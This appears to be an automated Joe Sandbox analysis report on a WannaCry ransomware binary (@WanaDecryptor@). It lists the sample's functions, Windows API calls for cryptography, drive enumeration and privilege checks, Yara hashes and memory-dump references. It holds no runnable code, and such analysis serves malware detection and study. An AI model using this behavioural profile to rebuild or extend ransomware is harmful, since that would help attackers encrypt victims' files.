                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Crypt_local_unwind2$File$AcquireContextCreateDecryptEncryptSizestrncmp
                                                                                                                          • String ID: TESTDATA
                                                                                                                          • API String ID: 154225373-1607903762
                                                                                                                          • Opcode ID: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                                                                                                          • Instruction ID: 12943b98363484da7d263465f98eb3331ab271d68fc45af0c4cd497e7be75c93
                                                                                                                          • Opcode Fuzzy Hash: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                                                                                                          • Instruction Fuzzy Hash: 21512DB6600218ABCB24CB64DC45BEBB7B4FB98320F10477DF915A72C1EB749A44CB94
                                                                                                                          Function 004049B0 Relevance: 10.6, APIs: 7, Instructions: 107fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                                                                                                          • GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                                                                                                          • _local_unwind2.MSVCRT ref: 00404AC7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$CreateSize_local_unwind2
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1039228802-0
                                                                                                                          • Opcode ID: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                                                                                                          • Instruction ID: 027920ce5e1762b5ae47f20262b5a931ea28e629a989eecbafe96ff87ad0b853
                                                                                                                          • Opcode Fuzzy Hash: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                                                                                                          • Instruction Fuzzy Hash: 723153B1A40219BBDB10DF98DC84FFFB6ACE789771F14472AF525A22C0D33859018B68
                                                                                                                          Function 00406C20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetUserDefaultLangID.KERNEL32 ref: 00406C3B
                                                                                                                          • GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
                                                                                                                          • SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
                                                                                                                          • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
                                                                                                                          • SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4
                                                                                                                            • Part of subcall function 00406AE0: #540.MFC42(?,75F020C0), ref: 00406B03
                                                                                                                            • Part of subcall function 00406AE0: #3874.MFC42 ref: 00406B1B
                                                                                                                            • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B29
                                                                                                                            • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
                                                                                                                            • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406B59
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42(?,?,75F020C0), ref: 00406B62
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42 ref: 00406B73
                                                                                                                            • Part of subcall function 00406AE0: GetFileAttributesA.KERNEL32(?), ref: 00406B7D
                                                                                                                            • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B91
                                                                                                                            • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
                                                                                                                            • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406BBB
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42(?,?,?,?,?,75F020C0), ref: 00406BC4
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42 ref: 00406BD5
                                                                                                                            • Part of subcall function 00406AE0: #800.MFC42(?), ref: 00406BF5
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$MessageSend$#537#924sprintf$#3874#540AttributesDefaultFileInfoLangLocaleUser
                                                                                                                          • String ID: English
                                                                                                                          • API String ID: 600832625-3812506524
                                                                                                                          • Opcode ID: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                                                                                                          • Instruction ID: 12cb8a10269d81aa60d086da51d7e65d8080bc449a50ca3d57c6290c1d86febe
                                                                                                                          • Opcode Fuzzy Hash: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                                                                                                          • Instruction Fuzzy Hash: F911D3717402006BEB149634DC42BAB7795EBD4720F54863EFE5AEB2D0D9F8A8098794
                                                                                                                          Function 0040A150 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                                                                                                          • Instruction ID: fb0ef9a6f766abd1277d4fb3e7775c965cb771230ee66441beda5a672c207522
                                                                                                                          • Opcode Fuzzy Hash: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                                                                                                          • Instruction Fuzzy Hash: 57E1E4716043458BD718CF29C4906AAB7E2BFCC308F09857EE889EB355DB34D941CB5A
                                                                                                                          Function 00403A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetLogicalDrives.KERNEL32 ref: 00403A35
                                                                                                                          • GetDriveTypeW.KERNEL32 ref: 00403A7A
                                                                                                                          • GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: DiskDriveDrivesFreeLogicalSpaceType
                                                                                                                          • String ID: : $\
                                                                                                                          • API String ID: 222820107-856521285
                                                                                                                          • Opcode ID: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                                                                                                          • Instruction ID: 7a2fb974cbacd17fa61847377d7cab912bc040039a87a27a6beb81165ce83d4b
                                                                                                                          • Opcode Fuzzy Hash: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                                                                                                          • Instruction Fuzzy Hash: 2D116D31614301ABD315DF15D884AABBBE8FBC8710F04882EF88597290E775E948CB9A
                                                                                                                          Function 0040D300 Relevance: 6.2, APIs: 4, Instructions: 159COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: c8f85ea80c3b6b8e9e311ac575965a537163168bbe12e9f95371609f99db3755
                                                                                                                          • Instruction ID: 8719850658187d05665d4daca0cd16b7f92190a52f2d7545724c4cd71ae93cac
                                                                                                                          • Opcode Fuzzy Hash: c8f85ea80c3b6b8e9e311ac575965a537163168bbe12e9f95371609f99db3755
                                                                                                                          • Instruction Fuzzy Hash: 7A41D7B2B042044BC724DE6898506BFB7D5EBD4314F40093FF946A3381DA79ED4D869A
                                                                                                                          Function 00404AF0 Relevance: 6.1, APIs: 4, Instructions: 51encryptionCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
                                                                                                                          • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,?,?), ref: 00404B22
                                                                                                                          • LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: CriticalSection$CryptDecryptEnterLeave
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1395129968-0
                                                                                                                          • Opcode ID: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                                                                                                          • Instruction ID: c9397fa3391ecaa6db63de0f595bcff8412a7be4ee2956e3e45acdf047351e7f
                                                                                                                          • Opcode Fuzzy Hash: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                                                                                                          • Instruction Fuzzy Hash: 15017C323002049BD714CE65E888BAB77A9FBC9721F44883AFA42D7281D7B0E809C671
                                                                                                                          Function 0040BED0 Relevance: 4.6, APIs: 3, Instructions: 108COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #823.MFC42(0000002C), ref: 0040BF0C
                                                                                                                          • GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
                                                                                                                          • GetUserNameA.ADVAPI32 ref: 0040BFF5
                                                                                                                            • Part of subcall function 0040DC00: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040DC9E
                                                                                                                            • Part of subcall function 0040DC00: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040DCAD
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Name$#823??0exception@@ComputerExceptionThrowUser
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2582426243-0
                                                                                                                          • Opcode ID: 44988b8c73596cb4ce5403cc835a1eb2a18cb9790df955dbb5df7c2dc182c092
                                                                                                                          • Instruction ID: 83e3db62829b85d845063e2f81586b9f479c5ffe1e9c48acb6c19853c4e1520f
                                                                                                                          • Opcode Fuzzy Hash: 44988b8c73596cb4ce5403cc835a1eb2a18cb9790df955dbb5df7c2dc182c092
                                                                                                                          • Instruction Fuzzy Hash: 8541C2706087829BD720DF64D854BAB7BE4EBC8710F004A3DF599933D0DB789508CB9A
                                                                                                                          Function 0040D4C0 Relevance: 4.6, APIs: 3, Instructions: 93COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 5e68fbcf5b22235d79db144bb8702833b1e0f7456deab8b0abe335e8fb721804
                                                                                                                          • Instruction ID: 4ffb44c4908fbcdbada2a4de5981d2af022f8853c63cab2f762cb5961de049d3
                                                                                                                          • Opcode Fuzzy Hash: 5e68fbcf5b22235d79db144bb8702833b1e0f7456deab8b0abe335e8fb721804
                                                                                                                          • Instruction Fuzzy Hash: B121B172B042016FC314DF99AC84C6BB399EBD8358B104A3FF946D7381DA35DC09879A
                                                                                                                          Function 00401BB0 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401BEC
                                                                                                                          • CheckTokenMembership.ADVAPI32(00000000,?,?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 00401C06
                                                                                                                          • FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401C19
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3429775523-0
                                                                                                                          • Opcode ID: a7a265a1dd536a0e0eab8576597306744b18f24eaa9b8ffe7a6d4444507be078
                                                                                                                          • Instruction ID: 94521974df2238a1dc1099b42d01a28c9688a26bfb2bc835d8f4af5c6999d558
                                                                                                                          • Opcode Fuzzy Hash: a7a265a1dd536a0e0eab8576597306744b18f24eaa9b8ffe7a6d4444507be078
                                                                                                                          • Instruction Fuzzy Hash: 3E012C71148380BFE340DB6888C4AABBFE8EBD4704FC4985DF58543252D234D848DB6B
                                                                                                                          Function 00404770 Relevance: 4.5, APIs: 3, Instructions: 24encryptionCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 0040477B
                                                                                                                          • CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 00404790
                                                                                                                          • CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Crypt$Destroy$ContextRelease
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1308222791-0
                                                                                                                          • Opcode ID: 12ad5d49cc2128f0860c2128d2759e128a7075486b136358530e399bbd2bca92
                                                                                                                          • Instruction ID: 61d89c14c75fb5affeedc9811425020a0caf5e5d08399d1baa26ca37d3ca979d
                                                                                                                          • Opcode Fuzzy Hash: 12ad5d49cc2128f0860c2128d2759e128a7075486b136358530e399bbd2bca92
                                                                                                                          • Instruction Fuzzy Hash: 22E0EDB03007018BD7309F65D888B4377E8AF84714F04882DF85AE77D0C778E8408B54
                                                                                                                          Function 0040A9D0 Relevance: 3.3, APIs: 2, Instructions: 315COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040A9EA
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A9FA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: 3b2a473cc84b9c7d4a547ef160aa3472c07a9cc6d6db5064c85298185bfba711
                                                                                                                          • Instruction ID: 04248197bcb1574b3d90ae1a3c7ae13e194e7d8d0e6a6b40a3143ad68c5bfd1a
                                                                                                                          • Opcode Fuzzy Hash: 3b2a473cc84b9c7d4a547ef160aa3472c07a9cc6d6db5064c85298185bfba711
                                                                                                                          • Instruction Fuzzy Hash: 0AC18E3260C3D14FD305CF7994A41ABBFE2AF9E300F9E98ADE5D98B312C5609505CB99
                                                                                                                          Function 0040A610 Relevance: 3.3, APIs: 2, Instructions: 308COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040A62A
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A63A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: 54df54d15dbdb5da3c1e43968a1bcec609f58f276c7696173b96fc0568058aab
                                                                                                                          • Instruction ID: 24c55d493b92f0f745426086bc8efec80d3c09ac131e354686a8208b9adac079
                                                                                                                          • Opcode Fuzzy Hash: 54df54d15dbdb5da3c1e43968a1bcec609f58f276c7696173b96fc0568058aab
                                                                                                                          • Instruction Fuzzy Hash: CFC15B2260C2C24BD705CF7998E04EBFFE3AF9E204B4E95A9D5C99B322C5719409C799
                                                                                                                          Function 0040B0C0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B0D9
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B0E9
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: c6e345f075c5c38347d25a9e792861e5e46be767ff3c74cb7ef541de985aba14
                                                                                                                          • Instruction ID: 635c181c6a855438023d43a1e61ad1cbf7521d36b86b6127b0536a3f97539009
                                                                                                                          • Opcode Fuzzy Hash: c6e345f075c5c38347d25a9e792861e5e46be767ff3c74cb7ef541de985aba14
                                                                                                                          • Instruction Fuzzy Hash: 5F91AE756083858FC718CF28D8906AABBE2FFC9304F14487EE989D7351D634A945CB99
                                                                                                                          Function 0040ADC0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040ADD9
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040ADE9
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
